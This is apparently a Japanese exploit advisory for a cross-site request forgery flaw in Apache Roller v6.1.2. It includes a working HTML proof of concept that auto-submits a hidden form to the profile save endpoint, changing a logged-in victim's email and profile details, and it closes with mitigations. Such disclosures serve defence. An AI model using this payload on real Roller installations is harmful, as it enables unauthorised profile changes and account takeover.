Apache Roller v6.1.2 - プロフィール更新におけるクロスサイトリクエストフォージェリ（CSRF）

脆弱性の詳細

バージョン: v6.1.2
日付: 2025-11-09
エクスプロイト作成者: Van Lam Nguyen
Facebook: https://www.facebook.com/vanlam1412
ベンダーホームページ: https://roller.apache.org
ソフトウェアリンク: https://github.com/apache/roller/archive/refs/tags/roller-6.1.2.zip
テスト環境: Windows
CVE: N/A
デモ: https://youtu.be/iPEiVzcpJJU

概要

Roller v6.1.2 以前には、エンドポイント /roller/roller-ui/profile!save.rol にクロスサイトリクエストフォージェリ（CSRF）の脆弱性が存在することが判明しました。

この脆弱性により、攻撃者は巧妙に細工された HTML ページを介して、被害ユーザーのプロフィール情報（例：メールアドレス、氏名、ロケール、タイムゾーン）を任意に更新することが可能です。

実証コード（Proof of Concept）

この脆弱性により、CSRF 保護なしで /roller/roller-ui/profile!save.rol への不正なリクエストが可能となり、ユーザーのプロフィールが更新されます。

HTML エクスプロイトコード

<html>
<head>
    <form id="exploitForm" action="http://localhost:8080/roller/roller-ui/profile!save.rol" method="POST">
        <input name="bean.userName" value="vanlam" type="hidden">
        <input name="bean.screenName" value="hacked" type="hidden">
        <input name="bean.fullName" value="hacked" type="hidden">
        <input name="bean.emailAddress" value="[email protected]" type="hidden">
        <input name="bean.passwordText" value="" type="hidden">
        <input name="bean.passwordConfirm" value="" type="hidden">
        <input name="bean.locale" value="vi_VN" type="hidden">
        <input name="bean.timeZone" value="Asia/Bangkok" type="hidden">
    </form>

    <script>
        document.getElementById('exploitForm').submit();
    </script>
</head>
</html>

フォームパラメータ

bean.userName: vanlam
bean.screenName: hacked
bean.fullName: hacked
bean.emailAddress: [email protected]
bean.passwordText: (空)
bean.passwordConfirm: (空)
bean.locale: vi_VN
bean.timeZone: Asia/Bangkok

影響

攻撃者は悪意のある HTML ページを作成し、認証済みの Roller ユーザーがそのページにアクセスすると、被害者のプロフィール情報を本人の同意なしに更新するフォームが自動的に送信されます。これにより、以下のような被害が発生する可能性があります：

ユーザープロフィールデータの不正な変更
メールアドレスが変更された場合のアカウント乗っ取りの可能性
ロケールやタイムゾーンの変更によるユーザーエクスペリエンスの混乱

対策

すべての状態変更リクエストに CSRF トークンを実装する
Origin ヘッダーと Referer ヘッダーを検証する
SameSite クッキーを使用する
適切な認証および認可チェックを実装する

roller-csrf

人気